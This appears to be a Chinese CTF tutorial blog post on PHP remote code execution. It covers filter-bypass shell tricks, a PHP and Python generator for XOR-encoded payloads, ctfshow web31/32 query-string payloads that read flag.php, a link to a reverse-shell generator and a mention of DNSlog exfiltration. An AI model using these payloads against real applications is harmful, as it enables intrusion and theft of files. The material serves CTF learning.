RCE绕过及ctf多种玩法

RCE

推荐在线生成反弹shell的网站

[\~#棱角 ::Edge.Forum*](https://forum.ywhack.com/shell.php)

代码执行

PHP 代码执行函数:

eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort ()

命令执行

PHP 命令执行函数:

system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen ()、passthru()等

绕过

关键词过滤

1、过滤flag关键字

利用通配符

cat fl* 匹配文件名前两位为fl的文件

cat ?l* 匹配文件名第一位随机,第二位为l的文件

2、转义符号、空变量( ∗ 、 *、 ∗、@、 x 、 x、 x、{x})

shell 复制代码
c\at f\lag.txt

cat fl''ag.txt

c'a't flag.txt
shell 复制代码
ca$*t fl$*ag.txt
ca$@t fl$@ag.txt
ca$3t fl$3ag.txt
ca${v}t fl${v}ag.txt

3、拼接法

shell 复制代码
a=f;b=lag;c=.txt;cat$IFS$a$b$c;

$IFS 等于空格

4、反引号

反引号在linux中代表命令执行

shell 复制代码
cat `ls` //查看目录下所有文件

5、编码

将被过滤的地方编码 然后利用解码命令执行

6、组合绝活

shell 复制代码
touch "g.txt"

touch "fla\\"

touch "t \\"

touch "ca\\"

ls -t > shell  //-t 按照时间排序

sh shell

7、异或无符号

例如下题,过滤掉所有字符了

将正则放进代码修改运行即可

php 复制代码
<?php
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
    for ($j=0; $j <256 ; $j++) {

        if($i<16){
            $hex_i='0'.dechex($i);
        }
        else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);
        }
        else{
            $hex_j=dechex($j);
        }
        $preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
            echo "";
        }

        else{
            $a='%'.$hex_i;
            $b='%'.$hex_j;
            $c=(urldecode($a)^urldecode($b));
            if (ord($c)>=32&ord($c)<=126) {
                $contents=$contents.$c." ".$a." ".$b."\n";
            }
        }

    }
}
fwrite($myfile,$contents);
fclose($myfile);

生成txt后,使用下列python代码构造payload

python 复制代码
import requests
import urllib
from sys import *
import os


def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open("xor_rce.txt", "r")
        while True:
            t = f.readline()
            if t == "":
                break
            if t[0] == i:
                # print(i)
                s1 += t[2:5]
                s2 += t[6:9]
                break
        f.close()
    output = "(\"" + s1 + "\"^\"" + s2 + "\")"
    return (output)


while True:
    param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
    print(param)

命令过滤

过滤cat

more:一页一页的显示档案内容

less:与 more 类似

head:查看头几行

tac:从最后一行开始显示,可以看出tac是cat的反向显示tai1:查看尾几行

nl:显示的时候,顺便输出行号

od:以二进制的方式读取档案内容

vi:一种编辑器,这个也可以查看

vim:一种编辑器,这个也可以查看

sort:可以查看

uniq:可以查看

file -f:报错出具体内容

sh /flag.txt //报错出文件内容

curl file:///root/f/flag

strings flag

uniq -c flag

bash -v flag

rev flag

空格过滤

%09(url传递)(cat%09flag.txt)

cat${IFS}flag.txt

a=flag;b=.txt;cat I F S IFS IFSa$b;

{cat,flag.txt}

无回显利用

1、直接写个文件看能否访问

2、直接进行对外访问(dnslog数据外带)

ctf多种玩法

参数逃逸

ctfshow-web31

?c=eval($_GET"aa");&aa=system("sort+flag.php");

rce转文件包含伪协议

ctfshow-web32

?c=include$_GET"code"?>&code=php://filter/read=convert.base64-encode/resource=flag.php

?>在这里的作用是为了使得&code=被当作参数,而不是php代码执行

相关推荐
FreeBuf_31 分钟前
Anthropic新发模型Claude Fable 5快速被越狱
网络·安全·web安全
2601_9555052533 分钟前
自然人身份确权可信基础设施赋能身份风险等级标签合规
人工智能·网络安全·金融·健康医疗·媒体·教育电商·政务
百度安全1 小时前
2025 百度 ESG 报告发布:以 AI 筑盾,共建可信数字生态
人工智能·网络安全
Bruce_Liuxiaowei1 小时前
2026年6月第2周网络安全形势周报
人工智能·安全·web安全·ai·大模型·智能体
云安全助手2 小时前
国内调用GPT的现实困境与聚合平台解决方案探析
网络·人工智能·网络安全·ai大模型
Par@ish15 小时前
【网络安全】Web安全扫描工具Nikto安装和使用详细教程
安全·web安全·ubuntu
上海云盾第一敬业销售15 小时前
高效阻止网站攻击的WAF防护架构解析
web安全·架构·ddos
持敬chijing17 小时前
Web渗透之前后端漏洞-文件包含漏洞
前端·安全·web安全·网络安全·网络攻击模型·安全威胁分析
terry60017 小时前
2026图形验证码服务商横向测评|口碑、接入、安全选型全指南
java·大数据·人工智能·web安全·信息与通信·数据库架构
lcreek18 小时前
SQL 注入漏洞详解:从原理到防御的完整学习指南
网络安全·sql注入